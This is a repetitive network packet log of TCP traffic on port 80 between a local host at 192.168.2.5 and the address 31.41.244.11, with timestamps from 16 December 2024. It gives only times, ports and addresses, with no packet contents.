Dec 16, 2024 09:01:32.289022923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.289076090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.289117098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.289164066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.289861917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.289899111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.289911032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.289942980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.290677071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.290728092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.290776968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.290819883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.291517973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.291620970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.291673899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.292335987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.292397022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.292434931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.292479038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.293131113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.293174982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.293239117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.293282986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.293965101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.294009924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.294018984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.294061899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.294786930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.294935942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.294985056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.295672894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.295772076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.295819044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.296509981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.296559095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.296586990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.296632051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.297267914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.297317982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.297367096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.297409058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.298122883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.298177958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.298198938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.298244953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.298933983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.298959970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.298985004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.299000025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.299770117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.299880028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.299932957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.300628901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.300678968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.300723076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.300770044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.301460028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.301510096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.301553965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.301598072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.302228928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.302278042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.302282095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.302325964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.303088903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.303134918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.303322077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.303369045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.303921938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.303967953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.303987026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.304035902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.304714918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.304761887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.304848909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.304896116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.305540085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.305593967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.305639029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.305685997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.306360960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.306430101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.306480885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.307219982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.307267904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.307277918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.307343006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.308017015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.308125019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.308170080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.308862925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.308897018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.308908939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.308979988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.309695959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.309748888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.309784889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.309824944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.310509920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.310559034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.310626984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.310672045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.311342955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.311393976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.311395884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.311444044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.312153101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.312201977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.312273979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.312319040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.313097000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.313144922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.313400030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.313448906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.313865900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.313915968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.313957930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.314007044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.314635992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.314683914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.314855099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.314903021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.315494061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.315546036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.315582991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.315639973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.316301107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.316349983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.316406965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.316454887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.317110062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.317157984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.317198038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.317244053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.317928076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.317979097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.318017006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.318064928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.318803072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.318907976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.319005013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.319005013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.319601059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.319653034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.319670916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.319720984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.320422888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.320472956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.320514917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.320560932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.321321011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.321353912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.321371078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.321396112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.322132111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.322182894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.322217941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.322264910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.322921991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.322973013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.323036909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.323085070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.323766947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.323813915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.323852062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.323899984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.324557066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.324605942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.324672937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.324722052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.325402021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.325453997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.325531006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.325579882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.326204062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.326251984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.326334953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.326387882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.327048063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.327097893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.327164888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.327213049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.327881098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.327934980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.328006983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.328056097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.328721046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.328772068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.328815937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.328896046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.329526901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.329575062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.329605103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.329653978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.330384970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.330437899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.330465078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.330513000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.331127882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.331176996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.479914904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.479985952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.480083942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.480194092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.480237007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.480319023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.480360985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.480530977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.480593920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.481190920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.481239080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.481343031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.481404066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.481997967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.482044935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.482064009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.482089996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.482897043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.482952118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.483002901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.483052969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.483665943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.483726025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.483758926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.483814955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.484515905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.484570026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.484571934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.484618902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.485317945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.485369921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.485415936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.485502958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.486135960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.486255884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.486305952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.486973047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.487020969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.487065077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.487118959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.487807989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.487891912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.487942934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.488615990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.488662004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.488694906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.488744974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.489468098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.489516020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.489654064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.489769936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.490274906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.490324974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.490379095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.490453005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.491173983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.491228104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.491270065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.491329908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.491940022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.492018938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.492072105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.492753983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.492831945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.492835999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.492877007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.493598938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.493648052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.493699074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.493756056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.494379997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.494445086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.494486094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.494653940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.495235920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.495379925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.495383024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.495434046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.496068001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.496097088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.496145964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.496948957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.497001886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.497042894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.497086048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.497724056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.497782946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.497827053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.497870922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.498564959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.498617887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.498668909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.498712063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.499380112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.499439955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.499485016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.499528885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.500201941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.500264883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.500308037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.500454903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.501027107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.501068115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.501086950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.501116991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.501837969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.501893044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.501993895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.502304077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.502676964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.502810955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.502850056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.502909899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.503520966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.503638983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.503653049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.503683090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.504367113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.504446983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.504467964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.504488945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.505172968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.505266905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.505319118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.505438089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.506005049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.506057978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.506088972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.506879091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.506957054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.507004023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.507047892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.507719040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.507760048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.507811069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.508586884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.508645058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.508680105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.508729935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.509433985 CET	80	49866	31.41.244.11	192.168.2.5
